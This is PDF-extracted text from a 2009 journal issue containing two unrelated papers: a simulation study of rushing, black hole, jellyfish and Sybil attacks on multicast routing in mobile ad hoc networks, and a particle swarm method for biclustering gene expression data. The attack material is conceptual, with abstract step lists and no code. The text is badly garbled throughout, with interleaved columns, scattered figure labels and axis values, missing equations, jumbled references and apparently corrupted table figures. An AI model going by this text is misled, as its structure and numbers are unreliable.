Multicast is communication between a single sender and multiple receivers on a network. Otherwise it transmits a single message to a select group of recipients. Multicast is used, for example, in streaming video, in which many megabytes of data are sent over the network. Single packets copied by the network and sent to a specific subset of network addresses. These addresses are specified in the Destination Address. Protocol to allow point to multipoint efficient distribution of packets, frequently used in access grid applications. It greatly reduces the transmission cost when sending the same packet to multiple recipients. The option to multicast was made possible by digital technology to allow each digital broadcast station to split its bit stream into 2, 3, 4 or more individual channels of programming and/or data services.
C Attacks on Multicast Multicast conserves network bandwidth by sending a single stream of data to multiple receivers. Packets are duplicated only at branch points. The security issue of MANETs in group communications is even more challenging because of involvement of multiple senders and multiple receivers. Some different types of multicast attacks are Rushing attack, Balckhole attack, Neighbor attack, and Jellyfish attack. 184
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
D. Rushing Attack
Initiator
Packet sent
A rushing attacker exploits this duplicate suppression mechanism by quickly forwarding route discovery packets in order to gain access to the forwarding group. [8]
Packet drop & end connection Node Destination Attacker node (Black Hole)
Initiator Destination
Figure 2 (a). Black Hole Attack (Drop all packets) Forward node Initiator & destination Attacker node (rushing)
Goal: to damage the packet delivery ratio Target: all multicast protocols Method: an attacker o First invades into forwarding group (e.g., by using rushing attack), Then drops some or all data packets instead of forwarding them
Packet sent
fast
Packet sent
slowly
Packet drop & end
connection
Figure 1 Rushing Attack Goal: to invade into routing paths Target: multicast routing protocols that use a duplicate suppression mechanism in order to reduce routing overheads. Method: quickly forwards route discovery (control) packets by skipping processing or routing steps. Rushing attack otherwise, falsely sending malicious control messages and then forwards the packet fastly than clear node reachable.
Packet sent
Initiator
Packet drop Node Attacker node (Black Hole)
Destination
Some amount of data sent
E. BlackHole Attack An attacker can drop received routing messages, instead of relaying them as the protocol requires, in order reducing the quantity of routing information available to the other nodes.
Figure 2(b) Black Hole attack (small amt of data only drop)
This is called black hole attack, and is a ―passive‖ and a simple way to perform a Denial of Service. The attack can be done selectively (drop routing packets for a specified destination, a packet every n packets, a packet every t seconds, or a randomly selected portion of the packets) or in bulk (drop all packets), and may have the effect of making the destination node unreachable or downgrade communications in the network.
Black Hole attacks effects the packet delivery and to reduce the routing information available to the other nodes Causes: It down grade the communication Effects of reachable
Message Tampering An attacker can also modify the messages originating from other nodes before relaying them, if a mechanism for message integrity (i.e. a digest of the payload) is not utilized.
making
the
destination
node
F. Neighbor Attack Upon receiving a packet, an intermediate node records its Id in the packet before forwarding the packet to the next node. An attacker, however, simply forwards the packet without recording its Id in the packet to make two nodes that are not within the communication range of each other believe that they are neighbors (i.e., one-hop away from each other ), resulting in a disrupted route.
A packet drop attack or black hole attack is a type of denial-of-service attack accomplished by dropping packets. Black holes refer to places in the network where incoming traffic is silently discarded (or "dropped"), without informing the source that the data did not reach its intended recipients [8,9].
185
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
G.
B. Rushing Attack and its Impacts in Ad hoc Networks
Jelly Fish Attack
Multicast is communication between a single sender and multiple receivers on a network. Otherwise it transmits a single message to a select group of recipients. On a wireless network, an adversary is able to eavesdrop on all messages within the emission area, by operating in promiscuous mode and using a packet sniffer (and possibly a directional antenna). Furthermore, due to the limitations of the medium, communications can easily be perturbed; MANETS are more vulnerable to attacks than wired networks due to open medium, dynamically changing network topology, cooperative algorithms, lack of centralized monitoring and lack of clear line of defense [10].
A jellyfish attacker first needs to intrude into the multicast forwarding group. It then delays data packets unnecessarily for some amount of time before forwarding them. This results in significantly high end-to-end delay and thus degrades the performance of real applications. Causes: Increase end –end delay. H. Sybil Attack Sybil attack manifests itself by allowing the malicious parties to compromise the network by generating and controlling large numbers of shadow identities. The fact is that each radio represents a single individual. However the broadcast nature of radio allows a single node to pretend to be many nodes simultaneously by using many different addresses while transmitting. The off-shoot of this Sybil attack is analyzed using Packet Delivery Ratio (PDR) as the performance metric. Theoretical based graphs are simulated to study the influence of Sybil attack in PDR [18].
Typically, multicast on-demand routing protocols state that nodes must forward only the first received Route Request from each route discovery; all further received Route requests are ignored. This is done in order to reduce cluttering. The attack consists, for the adversary, in quickly forwarding its Route Request messages when a route discovery is initiated. If the Route Requests that first reach the target’s neighbors are those of the attacker, then any discovered route includes the attacker. The rushing attack, that acts as an effective denial-of-service attack against all currently proposed on-demand ad hoc network routing protocols, including protocols that were designed to be secure. [14] In this work, to simulate three scenarios:
Malicious user obtaining multiple fake identifies and pretends to be multiple distinct node in the system malicious node control the decision of the system [8]. The Sybil attack can be categorized into sub categories: presentation of multiple identities simultaneously and presentation of multiple identities exclusively. The concept of the identifiers exists at different levels and because an identifier only guarantees the uniqueness at the intended level only. Sybil attack can be perpetrated from network layer and application layer where the respective identifiers are IP address and Node ID. Sybil attack can be manifested either by creating new identities or duplicating other identities by disabling them after launching a DoS attack. This mechanism can be either a localized or globalized one depending on the severity of the attack felt by neighboring nodes. Sybil attack can defeat the objectives of distributed environment like fair resource allocation, voting, routing mechanism, distributed storage, misbehavior detection etc.
The attacker node is place at near sender
The attacker node is place at near receiver.
The attacker node is place anywhere within the network.
Based on above scenarios, to simulate how the Rushing attack affects the network performance. C. Rushing Attack Formation
Initiator R
III. IMPROVED MODEL (IMPACT OF RUSHING ATTACK ON MULTICAST IN MOBILE AD HOC NETWORK
destination
A. Related Work In this related work to measure a simulation-based study of the effects of Rushing attacks on multicast in MANETs. A Rushing attacker first needs to invade into the multicast forwarding group in order to capture data packets of the multisession. If then they quickly forward the data packets to the next node on the routing path. This type of attack often results in very low Average Attack Success Rate [15].
Figure 3 Rushing attack Formation
186
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
ii. Rushing attack at near receiver
Algorithm for Rushing Attack Formation Step1: Set of N number of nodes are created. Step2: Create a connection between nodes. Step3: Rushing node invaded into the forward multicast group. Step4: Send the packet to the particular groups Step5: At mean time attacker node tap all the packets. Step6: The packets in the attacker node are then quickly forwarded to the next upcoming node. Step7: The data packets from the legitimate node reaches the destination late and so it is dropped as duplicate packet. Step8: Rushing node in the multicast grouping, affect the Avg Attack Success Rate. C
C
C
B
R
F
In this figure 5 node S sends the packet to the destination node R. The attacker node A is placed at near receiver. The sender node forwards the data packets to both the node B and C at the same time. The data packet can pass through either B, E and G nodes or C, F and G nodes. When the data packet reaches the attacker node A, it quickly forwards the data packet to node R. The performance of Attack Success Rate with respect to this scenario is calculated.
E
G
A
Figure 5 Rushing Node at near Receiving
i. Rushing attack at near sender
S
G
S
Rushing Attack Based on Three scenarios
A
E
B
R
Algorithm for near receiver Step 1: Create a set of n number of nodes. Step2: Create a connection between the nodes. Step3: Invade the attacker node at near receiver. Step4: Sender send the packets through specified path. Step5: Other forward nodes, forward the packet to the next node. Step 6: Attacker node tap all the packets through the specified path. Step7: The attacker node then quickly forwards the packets. Step8: Intermediate node forwards the packets to the destination node .
F
Figure 4. Rushing Node at near Sender In this figure 4 node S sends the packet to the destination node R. The attacker node A is placed at near sender. The data packets from the sender are forwarded to both the node A and C at the same time. The attacker nodes quickly forward the data packet to node E than the node C. The attacker node forwards the packet to node E then to G and B node. Finally Receiver R receives the data packets that are forwarded by attacker node. The performance of Attack Success Rate with respect to this scenario is calculated.
iii. Rushing attack at anywhere within the network: In this figure 5 node S sends the packet to the destination node R. The attacker node A is placed anywhere within the network. The data packet from the sender is forwarded to the nodes B and C. The data packet is then forwarded through the nodes B and E. But the data packet passed through the node C and then to attacker node A which quickly forwards the data packet to the node G than from the node E. The data packet is then finally reaches the receiver node R through node F. The performance of Attack Success Rate with respect to this scenario is calculated.
Algorithm for near sender Step 1: Create a set of n number of nodes Step2: Create a connection between the nodes Step3: Invade the attacker node at near sender Step4: Sender sends the packet through specified path. Step5: Other forward nodes, forward the packet to the next node. Step6: The attacker node taps all the packets. Step7: The attacker node quickly forwards the packets to the next node that are closest to the receiver Step8: The data packets are then finally reaches the destination node.
Algorithm for anywhere within network Step 1: Create a set of n number of nodes Step2: Create a connection between the nodes Step3: Invade the attacker node at anywhere within the network
187
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Step4: Sender send the packet through specified path. Step5: Other forward nodes, forward the packet to the next node. Step6: The attacker nodes tap the entire packet. Step7: The attacker node then quickly forwards the packets. Step8: The intermediate node forwards packet to the next node until it reaches the destination.
Avereage Attadck Success Rate (%)
100
E
B
90
80 70 60
50 40 30
20 10 0
5
10
15
20
25
30
35
40
Process Delay (ms)
G
S C
F
R
With Rushing attack Without Rushing attack
A
Figure 7 Rushing attack at near sender B. Rushing Attack at Near Receiver
Figure 6 Rushing Node at anywhere within the network.
100 Avereage Attadck Success Rate (%)
IV. EXPERIMENTAL RESULTS AND DISCUSSION Introduction The algorithm is evaluated against known network metrics and impact of rushing attack on multicast in mobile ad hoc network scheme specific network metrics. Comparison is done with rushing attacker node place at near sender, near receiver and uniformly distribution. Metrics for Evaluation: The known network metrics to be used for performance evaluation is packet delivery ratio.
90
80 70 60
50 40 30
20 10 0
5
10
15
20
25
30
35
40
Process Delay (ms)
Simulation Results We run several simulations under Linux, using the network simulator NS2 version ns-allinone-2.26. The simulation environment is composed of:
With Rushing Attack Without Rushing attack Figure 8 Rushing attack at near receiver
area: 500*500 meters. number of nodes 50 - 100. simulation duration: 1000s. physical/Mac layer: IEEE 802.11 at 2Mbps, 250 meters transmission range. mobility model: random waypoint model with no pause time, and mode movement speed 0m/s, 1m/s and 10m/s. Using routing protocols are AODV and MAODV under NS2.26.
The figure 8 shows that the Attack Success Rate goes high, because of Rushing node is placed near receiver, because most of the forward node will contain all the packets. Since the attacker node is near to the receiver, it can gets the packet when the packet reaches the forward node near the receiver. Therefore, the receiver node get the packet quickly from the near attacker node and the impact of attack is highly harmful. C. Rushing Attack at Anywhere
A. Rushing attack at near sender (One sender and 5 receivers)
The figure 9 shows that the Attack Success Rate goes least rate, because of Rushing node is placed anywhere. The attacker node is not placed at near sender or near receiver. The rushing node is placed anywhere (i.e. forward node in group). The forwarded node (Rushing attacker) taps the packet and quickly forwards the packets to the next node. Therefore, the chance of getting the packet from the attacker node depends on the
When the rushing attack happens at near sender in ad hoc network, the attack success rate is average because it has to search only the intermediate node. If there is no rushing attack in the network then the average attack success rate will be least.
188
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
[2]
upcoming nodes and so the impact of attack is least when its compare to near receiver’s Attack Success Rate, is slightly higher than the near sender in which the Attack Success Rate is low
[3]
Avereage Attadck Success Rate (%)
100 90
[4]
80 70
[5]
60
50 40 30
[6]
20 10 0
5
10
15
20
25
30
35
40
[7]
Process Delay (ms)
[8]
With rushing attack Without rushing attack Figure 9 Rushing Attack at anywhere
[9]
V. CONCLUSION AND FUTURE DIRECTIONS A. Conclusion [10]
The Rushing attacks are more likely to succeed in a multicast session where the number of multicast senders is small and/or the number of multicast receivers is large. The goal of the project is to draw the graph based on the rushing attack position in the network. With respect to the attack positions, the best position to launch rushing attacks is at the near receiver, have the highest success rates. The rushing attack near sender have the low success rate and final attack position is likely to take place anywhere in the network, have the least success rate.
[11]
[12] [13]
B. Future Directions
[14]
In this project deals with one sender and multiple receivers in multicast ad hoc network. Apart from this there are chances to enhance it to have multiple senders and multiple receivers in multicast ad hoc network. In this project , it is assumed to have only one attacker node in the network for future it can be extended by adding more attacker nodes in the network.
[15]
[16]
[17]
REFERENCES [1]
Ping Yi, Zhoulin Dai, Shiyong Zhang, Yiping Zhong, ―A New Routing Attack in Mobile Ad Hoc Networks International Journal of Information Technology Vol. 11 No. 2, pages 83 – 94.
[18]
189
Bruschi, D. and Rosti, E., ―Secure Multicast in Wireless Networks of Mobile Hosts: Protocols and Issues‖, Mobile Networks and Applications, Volume 7, 2002, pp 503 - 511. Moyer, M.J., Rao, J.R. and Rohatgi, P., ―A Survey of Security Issues in Multicast Communication‖,IEEE Network, Nov.-Dec. 1999, pp. 12 – 23. Dr. Jiejun Kong, ― GVG −RP: A Net-centric Negligibility-based Security Model for Selforganizing Networks‖. S.Corson, J.Macker, ―Mobile ad hoc Networking(MANET):Routing Protocol Performance Issues and Evaluation Considerations, RFC 2501, January 1999. C. Schuba, I. Krsul, M. Kuhn, E. Spafford, A. Sundaram, D. Zamboni, Analysis of a Denial of Service Attack on TCP, Proceedings of the 1997 IEEE Symposium on Security and Privacy. Haining Wang, Danlu Zhang, and Kang G. Shin, Detecting SYN Flooding Attacks, IEEE INFOCOM'2002, New York City, 2002 Jiejun Kong, Xiaoyan Hong, Mario Gerla, “ A new set of passive routing attacks in mobile ad hoc networks ―,This work is funded by MINUTEMAN project and related STTR project of Office of Naval Research Pages 1- 6. Jiejun Kong, Xiaoyan Hong, Mario Gerla, ― Modeling Ad-hoc Rushing Attack in a Negligibility-based Security Framework‖, September 29, 2006, Los Angeles, California, USA. Hoang Lan Nguyen , Uyen Trang Nguyen, ―A study of different types of attacks on multicast in mobile ad hoc networks‖ Ad Hoc Networks 6 (2008) pages 32– 46. S.J. Lee, W. Su, M. Gerla, ― On-Demand Multicast Routing Protocol in Multihop Wireless Mobile Networks ―, ACM/ Kluwer Mobile Networks and Applications 7 (6) (2002) 441– 453. Imad Aad, Jean-Pierre Hubaux , Edward W. Knightly, ― Impact of Denial of Service Attacks on Ad Hoc Networks ― Y.-C. Hu, A. Perrig, and D. B. Johnson, ―Ariadne: A secure ondemand routing protocol for ad hoc networks,‖ in Proceedings MobiCom 2002, September 2002. M. Zapata and N. Asokan, ―Securing ad hoc routing protocols,‖ in Proceedings of the ACM Workshop on Wireless Security (WiSe), 2002. Y.-C. Hu, A. Perrig, and D. B. Johnson, ―Efficient security mechanisms for routing protocols,‖ in Network and Distributed System Security Symposium, NDSS, 2003. YihChun Hu, Adrian Perrig, David B. Johnson, ― Rushing Attacks and Defense in Wireless Ad Hoc Network Routing Protocols ― , WiSe 2003, September 19, 2003, San Diego California, USA Copyright 2003 ACM. Yang, H., Luo, H., Ye, F., Lu, S., and Zhang, L., ―Security in Mobile Ad Hoc Networks: Challenges and Solutions‖, IEEE Wireless Communications, Volume 11, Issue 1, February 2004, pp. 38 – 47. Besemann, C., Kawamura, S. and Rizzo, F., ―Intrusion Detection System in Wireless Ad-Hoc Networks: Sybil Attack Detection and Others‖.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
A Hybrid Multi-Objective Particle Swarm Optimization Method to Discover Biclusters in Microarray Data Mohsen lashkargir *
S. Amirhassan Monadjemi
Department of Computer Engineering Islamic Azad University, najafabad branch Isfahan, 81746, Iran e-mail: [email protected]
Department of Computer Engineering Faculty of Engineering University of Isfahan Isfahan, 81746, Iran
Ahmad Baraani Dastjerdi Department of Computer Engineering Faculty of Engineering University of Isfahan Isfahan, 81746, Iran
both of rows and columns (genes and conditions) are clustered and they refer to biclustering (simultaneously clustering of both rows and columns)[2].
Abstract — In recent years, with the development of microarray technique, discovery of useful knowledge from microarray data has become very important. Biclustering is a very useful data mining technique for discovering genes which have similar behavior. In microarray data, several objectives have to be optimized simultaneously and often these objectives are in conflict with each other. A Multi-Objective model is capable of solving such problems. Our method proposes a Hybrid algorithm which is based on the MultiObjective Particle Swarm Optimization for discovering biclusters in gene expression data. In our method, we will consider a low level of overlapping amongst the biclusters and try to cover all elements of the gene expression matrix. Experimental results in the bench mark database show a significant improvement in both overlap among biclusters and coverage of elements in the gene expression matrix.
The biclustering problem is even more difficult than clustering, as we tried to find clusters using two dimensions, instance of one. The first biclustering useful algorithm was proposed by Cheng and Church [1] in 2000. They introduced the residue of an element in the bicluster and the mean squared residue of submatrix for quality measurement of biclusters. This introduced method is a good measurement tool for biclustering and we use this measurement. Getz et al [15] presented the couple two-way clustering. It uses hierarchical clustering applied separately to each dimension and they define the process to combine both results. The time complexity of this method is Exponential. Yang improved Cheng and Church approach to find K possibly overlapping biclusters simultaneously [3].It is also robust against missing values which are handled by taking into account the bicluster volume (number of non-missing elements) when computing the score.
Keywords-component; biclustering; Multi-Objective Particle Swarm; gene expersion data;
I.
INTRODUCTION
The biclustering problem is proven to be NP hard [1]. This high complexity motivated the researcher to use stochastic approach to find biclusters. Federico and Aguilar proposed a Biclustering algorithm with Evolutionary computation [4]. In biclustering of gene expression data, the goal is to find bicluster of maximum size with mean squared residue lower than a givenδ, which are relatively high row variance. In [4], the fitness function is made by the sum weighted of this objectives function. Since in biclustering problem some objectives exist, that are in conflict with each other, using multi object methods is very suitable to solve that. In this work we address a biclustering problem with Multi-Objective problem that hybrid with Cheng and Church algorithm.
The microarray technique allows measurement of mRNA levels simultaneously for thousands of genes. It is now possible to monitor the expression of thousands of genes in parallel over many experimental conditions (e.g., different patients, tissue types, and growth environments), all within a single experiment. Microarray data constructs a data matrix in which rows represent genes and columns show condition. Each entry in the matrix shows the expression level of specific gene (gi ) under particular condition (ci). Through analysis of gene expression data the genes are found that represent similar behavior among a subset of condition. In [14] used clustering for analyses of gene expression data but genes don't show similar behavior in all conditions, while genes show similar behavior in subset of conditions. However the genes are not necessarily related in all conditions, in other words, there are genes that can be relevant in subset of condition [3]. In fact,
This paper is organized as follows: in section 2, the definitions related to biclustering are presented. An introduction to PSO and Binary PSO is given in section 3. The
190
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
description of the algorithm is illustrated in section 4. Experimental results and comparative analysis are discussed in section 5. The last section is the conclusion. II.
by simulating social behavior of bird flocking. The population of the potential solution is called swarm and each individual solution within the swarm is called a particle. Particles in PSO fly in the search domain guided by their individual experience and the experience of the swarm. Each particle knows its best value so far (pbest) and it's x,y position. This information is an analogy of the personal experience of each particle. More ever each agent knows the best value so far into group (gbest) among pbests. This information is an analog of the knowledge of how the other particles around them have performed.
BICLUSTRING
A bicluster is defined on a gene expression matrix. Let G={g1 , … , gN} be a set of genes and C={c1, … ,cM} be a set of conditions .The gene expression matrix is a matrix of real numbers , with possible null values , where each entry eij corresponds to the logarithm of the relative abundance of the mRNA of gen gi under a specific condition cj[4].A bicluster in gene expression data corresponds to the submatrix that genes in that show similar behavior under a subset of conditions. A bicluster is showed by subset of genes and subset of conditions. The similar behavior between genes is measured by mean squared residue that was introduced by Cheng and Church.
Each particle tries to modify its position using this information : the current positions (x1,x2,…,xd),the current velocities (V1,V2,…,Vd),the distance between the current position and pbest and the distance between the current position and gbest. The velocity is a component in the direction of previous motion (inertia). The movement of the particle towards the optimum solution is governed by updating its position and velocity attributes. The velocity and position update equation are given as [7].
Definition 1 : Let ( I,J ) be a bicluster ( I ⊆ G , J ⊆ C ) then the mean squared residue ( rIJ ) of a bicluster ( I,J ) is calculated as below :
(6) where vik is velocity of agent i at iteration k, w is weighting function, cj is weighting coefficients, rand is random number between 0 and 1, sik is current position of agent i at iteration k, pbesti is pbest of agent i, and gbest is gbest of the group.
(1) Where
A. Binary Particle Swarm Optimization The binary Particle Swarm Optimization (BinPSO) algorithm was also introduced by Kennedy and Eberhart to allow the PSO algorithm to operate in binary problem spaces [11]. It uses the concept of velocity as a probability that a bit (position) takes on one or zero. In BinPSO, updating a velocity remains the same as the velocity in basic PSO; however, the updating position is redefined by the following rule [11]:
(2)
(3)
(4) The lower the mean squared residue, the stronger the coherence exhibited by the bicluster and the quality of the bicluster. If a bicluster has a mean squared residue lower than a given value δ , then we call the bicluster a δ–bicluster. In addition to the mean squared residue, the row variance is used to be relatively large to reject trivial bicluster.
(7) With r3~U (0,1) and S() is a sigmoid function for transforming the velocity to the probability constrained to the interval [0.0, 1.0] as follows
Definition 2: Let (I,J) be a biclusters. The row variance of (I,J) is defined as
(8) (5)
Where S(v)∈(0,1) , S(0)=0.5, and r3 is a quasi random number selected from a uniform distribution in [0.0, 1.0]. For a velocity of 0, the sigmoid function returns a probability of 0.5, implying that there is a 50% chance for the bit to flip.
Biclusters characterized by high values of row variance contains genes that present large chances in their expression values under different conditions. III.
MULTI-OBJECTIVE PARTICLE SWARM
B. particle swarm and Multi-Objective problems The success of the Particle Swarm Optimization (PSO) algorithm as a single objective optimizer has motivated researchers to extend the use of this bio-inspired technique to
Particle Swarm Optimization (PSO) is a population based on stochastic optimization technique developed by Kennedy and Eberhat in 1995 [5].This method finds an optimal solution
191
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
Multi-Objective problems [6].In problems with more than one conflicting objective, there exist no single optimum solution rather there exists a set of solutions which are all optimal involving trade-offs between conflicting objective (pareto optimal set). Definition 3: if there are M objective functions, a solution x is said to dominate another solution y if the solution x is no worse than y in all the M objective functions and the solution x is strictly better than y in at least one of the M objective functions. Otherwise the two solutions are non-dominating to each other. This concept is shown in Fig1. Definition 4: If Z is subset of feasible solutions, a solution x∈Z is said to non-dominate with respect to Z if there does not exist another solution y∈Z that y dominates z (Red point in Fig.1).
Figure 1. Example of dominate and non-dominate cocepts(f1 and f2 must be minimaze).Red points dominate blue points and yellow points.Red points are non-diminated each other.
Definition 5: If F is a set of feasible solutions, a solution x∈F is said to be pareto-optimal, if x is non-dominate with respect to F (Red point in Fig1 if we suppose all feasible solutions are shown in Fig.1).
The size of bicluster is defined as |I|*|J| if we use this definition as an objective since the number of rows is higher than the number of columns , columns have less effect in objective. So we separate rows and columns and consider two objective functions one for rows and one for columns.
In Multi-Objective optimization problem, we determine the pareto optimal set from the set of feasible solutions. In this problem, we must consider the diversity among solutions in pareto set. For maintaining diversity in the pareto optimal set, we use the crowding distance that is provided by deb [12]. In the Multi-Objective PSO, the nondomiated solutions are found stored in archive. After each motion in swarm the archive is updated according to bellow:
Problem is formulated as below: Find ( I,J ) That minimize (9)
If an element in archive is dominated by a new solution, the corresponding element in archive is removed. If new solution is not dominated by any element in archive, new solution is added to archive. If archive is full, crowding, distance between elements in archive are computed according to [12] and then one element in archive is selected to remove according to diversity. We use roulette wheel to do this selection.
(10)
(11)
In (6) each particle need to gbest for motioning in search space. In Multi-Objective PSO we have a set of gbests that called archive. There exists many different ways to select gbest. More detail is described in [6]. In our method, gbest is selected from archives based on crowding distance to maintain diversity. If an element in archive has more diversity, it has more chance to be selected as gbest. We use roulette wheel selection to do it. So the particles motion to pareto optimal set and diversity is maintained with roulette wheel selection for selecting gbest.
(12) Subject to (13) In our method, MOPSO with crowding distance is used for solving this problem and it cooperates with local search to find better solution. Since this problem has a constraint (13), we don't apply this constraint when particle move in search space. We allow particle move without any constraint in search space so that they can be stronger to discover new solutions but we add particle to archive if they verity constraint and also a particle is as gbest if constraint is true for it. The problem with overlap among biclusters is addressed in our method as below:
IV. OUR HYBRID MULTI-OBJECTIVE PSO METHOD Our goal is to find biclusters (I, J) (I is subset of genes, J is subset of conditions) of maximum size, with mean squared residue lower than a given δ , with a relatively high row variance, and with a low level of overlapping among biclusters.
First the archive size equals to 100.After the motion and update of archive, only 50 numbers of particles in the archive that have minimum overlap, move to next generation. So
192
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
archive with variable size is used. Then in next generation the elements that can be selected as gbest have minimum overlap. We encode bicluster as particle like [4, 9,13]. Each particle in swarm encodes one bicluster. Biclusters are encoded by means of binary strings of length N+M, where N and M are the number of rows (genes) and number of columns (conditions) respectively. In each particle the first N bits of the binary string are related to genes and the remaining M bits are related to conditions. If a bit is set to 1, it means the related gene or condition belongs to the encoded bicluster; otherwise is does not. A general scheme of our algorithm is given in figure3. Population is randomly initialized and velocity of each particle in each dimension is set to zero. Then non-dominated population is inserted in archive, after that, we use a local search algorithm to move archive in feasible region. We use Cheng and Church algorithm as local search. The local search algorithm starts with a given bicluster. The irrelevant genes or conditions having mean squared residue above (or below) a certain threshold are now selectively eliminated (or added) using the following conditions [1]. A “node” refers to a gene or a condition. This algorithm contains three phases: multiple node deletion phase, single node deletion phase and multiple node addition phase. •
Figure 2. The effects of local search in Multi-Objective optimization(f1 and f2 must be minimaze)
c) Recompute rIJ ,eIj,eiJ,eIJ . d) Add all genes i∉I with
This local search is used for particle in the archive. The effects of using local search are illustrated in Fig.2, where the decrement of objective functions is obvious.
Multiple nodes deletion :
a) Compute rIJ ,eIj,eiJ,eIJ of the biclusters by (1)–(5). b) Remove all genes i∈I satisfying
c) Recompute rIJ ,eIj,eiJ,eIJ . d) Remove all conditions j∈J satisfying
•
Single node deletion,
a) Recompute rIJ ,eIj,eiJ,eIJ . b) Remove the node with largest mean squared residue (done for both gene and condition), one at a time, until the mean squared residue drops below δ . • Multiple nodes addition. a) Recompute rIJ ,eIj,eiJ,eIJ . b) Add all conditions j∉J with
Figure 3. A general scheme of our algorithm
193
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009
At the beginning, before main loop, these three phases are used but in the main loop after update archive, only the node addition phase is used. In the main loop, crowding is used like [10] to maintain diversity in pareto front. Three mutation operators are employed: standard mutation operator (a bit is selected randomly and flip), a mutation operator that adds a row and a mutation that adds a column to the bicluster. These three mutations are used with equal probability. In our method the mutation probability for each particle is 0.3. V.
EXPERIMENTAL RESULT
The proposed biclustering algorithm is implemented in matlab and applied to mine biclusters from two well know data set. The first data set is the yeast saccharomy cerevisiae cell cycle expression [1] .The expression matrix contained in this data set consists of 2884 genes and 17 experimental conditions. All entries are integers lying in the range of 0-600. The second data set, the human B-cells expression data, is a collection of 4,026 genes and 96 conditions the values of δ for the two data sets are taken from [1]. For the yeast data δ=300 and for the human B-cells expression data δ=1200.
Figure 4. One hunred genes are random selected from bicluster12
A. result on yeast data set Our method is applied to mining fifty biclusters from yeast data set simultaneously this biclusters cover 91.3% of the genes , 100% of the condition and 79.21% cells of the expression matrix while the MOPOB[11] method cover 73.1% of genes and 52.4% cells of the expression data. This improvement might be due to use of variable archive size. In the proposed method, particles move toward the biclusters that have minimum overlaps (gbest). Therefore they may be move towards the cells that have not been covered so far , and the covering facrtor of cells in this algorithm goes higher .In table 1 information about five out of fifty biclusters are summarized.
TABLE I. YEAST BICLUSTERS Genes
Conditions
Residue
Row variance
1
Bicluster
1079
13
263.32
693.97
12
437
17
246.85
570.66
37
998
13
275.09
730.66
42
808
14
240.27
637.55
45
1660
7
TABLE II.
269.25
Figure 5. One hunred genes are random selected from bicluster42.
One hundred genes are random selected from bicluster 17and 42 are shown in Fig.4 and Fig.5, respectively. In order to show the performance of our method, we compare it with other Multi-Objective biclustering method. In [9][13][14] three Multi-Objective biclustering are proposed, we summarize their result, and our result in table 2.
890.12
When comparing MOPSOB [11] with our method the average sum square residue is better, but in MOPSOB overlap among bicluster haven't been consider MOPSOB.
COMPARATIVE WITH OTHER METHOD FOR YEAST DATASET
Method
Avg size
NAGA 2 SEEA 2 B MOPSOB OUR Method
10301.17 8547.21 10510 11047
Avg residue 234.87 287.56 218.54 259.19
Avg genes 109543 785.42 1102.84 12971
Avg condition 9.29 8.92 9.31 11.62
Max size 14828 10503 15613 14027
B. result on human data set Our method is applied to mining one hundred biclusters from human data set too. This biclusters cover 53.6% of the genes , 100% of the condition and 41.6% cells of the expression matrix while the MOPOB[11] method cover 46.7% of genes and 35.7% cells of the expression data. In table 3 information about five out of one hundred biclusters are summarized and a comparative study is expressed in table 4.
194
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1 & 2, 2009 [4] TABLE III.
HUMAN BICLUSTERS
[5] Bicluster
Genes
Conditions
Residue
Row variance
1
1053
36
997.68
2463.42
27
839
42
1074.38
3570.61
49
105
81
1197.05
2885.34
73
487
22
769.56
5408.31
92
105
93
1007.41
7628.44
[6] [7] [8]
[9]
TABLE IV. Method
Avg size
NAGA 2 SEEA 2 B MOPSOB OUR Method
33463.70 29874.8 34012.24 33983.64
[10]
COMPARATIVE WITH OTHER METHOD Avg residue 987.56 1128.1 927.47 946.78
Avg genes 915.81 784.68 902.41 1006.23
Avg condition 36.54 35.48 40.12 42.02
Max size 37560 29654 37666 37908
[11]
[12]
[13]
VI.
[14]
CONCLUSIONS
In this paper, we introduced an algorithm based on MultiObjective PSO while incorporating local search for finding biclusters on expression data. In biclustering problem several objective have to be optimized simultaneously. We must find maximum biclusters with lower mean score residue and high row variance. These three objectives are in conflict with each other. We apply hybrid MOPSO and we use crowding distance for maintain diversity. In addition we consider a low level of overlap among biclusters by using archive with variable size. A comparative assessment of results is provided on bench mark gene expression data set to demonstrate the effectiveness of the proposed method. Experimental results show that proposed method is able to find interesting biclusters on expression data and comparative analysis show better performance in result.
[15]
